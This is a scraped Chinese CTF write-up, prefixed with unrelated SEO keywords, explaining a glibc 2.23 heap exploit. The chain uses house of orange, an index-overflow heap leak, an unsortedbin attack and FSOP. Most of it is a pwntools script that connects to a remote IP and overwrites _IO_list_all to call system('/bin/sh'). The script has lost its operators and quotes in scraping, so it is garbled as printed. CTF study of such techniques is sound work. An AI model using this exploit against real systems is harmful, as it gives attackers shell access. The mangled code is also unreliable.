网站建设的意义和目的,电力建设科学技术进步申报网站,现在做网站公司,北京做seo的公司很经典的house of orange unsortedbin attack FSOP 变量覆盖 不能 free#xff0c;那首先想到就是 house of orange泄露Libc基址#xff0c;然后unsortedbin attack。 但是只能show(8)#xff0c;就不能用largebin的套路来泄露堆地址了#xff0c;那怎么办呢#xff1f; …很经典的house of orange unsortedbin attack FSOP 变量覆盖 不能 free那首先想到就是 house of orange泄露Libc基址然后unsortedbin attack。 但是只能show(8)就不能用largebin的套路来泄露堆地址了那怎么办呢 我们注意到这是但下标一般是从0开始所以可能会有变量覆盖我们看看。 果然第33个chunk的size会覆盖第0个chunk地址的最后一字节所以我们只需要调试一下就可以通过show(0)泄露堆地址其他没什么难度以下是wp:
from pwn import *
context.archamd64
#ioprocess(./pwn)
elfELF(./pwn)
libcELF(./libc-2.23.so)
#libcelf.libc
ioremote(110.40.35.73,33774)def debug():gdb.attach(io)pause()def inter():io.interactive()def add(size,content):io.recvuntil(b\n)io.sendline(b1)io.recvuntil(bSize :\n)io.sendline(str(size).encode())io.recvuntil(bContent :\n)io.send(content)def edit(idx,size,content):io.recvuntil(b\n)io.sendline(b2)io.recvuntil(bIndex :\n)io.sendline(str(idx).encode())io.recvuntil(bSize :\n)io.sendline(str(size).encode())io.recvuntil(bContent :\n)io.send(content)def show(idx):io.recvuntil(b\n)io.sendline(b3)io.recvuntil(bIndex :\n)io.sendline(str(idx).encode())def delete():io.recvuntil(bplease input:\n)io.sendline(b2)add(0x30,baa)#0
#debug()
edit(0,0x40,ba*0x38p64(0xfc1))
add(0x1000,baa)#1
#debug()
add(0x10,b\x78)#2
show(2)
libc_baseu64(io.recv(8))-0x3c4178
print(libc_base:,hex(libc_base))
#debug()
for i in range(29):add(0x1000,baa)
add(0x80,b\x60)#32
#debug()
show(0)
heapu64(io.recv(8))-0x60
chunkheap0xf0
print(heap:,hex(heap))
systemlibc_baselibc.sym[system]
plba*(0x100x90)
#debug()
vtablechunk0xe0
print(vtable:,hex(vtable))
iolistlibc_baselibc.sym[_IO_list_all]
payloadb/bin/sh\x00p64(0x61)p64(0)p64(iolist-0x10)
payloadp64(0)p64(1)
payloadpayload.ljust(0xd8,b\x00)
payloadp64(vtable)
payloadp64(0)*3p64(system)
print(len(payload))
edit(2,0x300,plpayload)
#debug()
io.recvuntil(b\n)
io.sendline(b0*0x400b1)
io.interactive()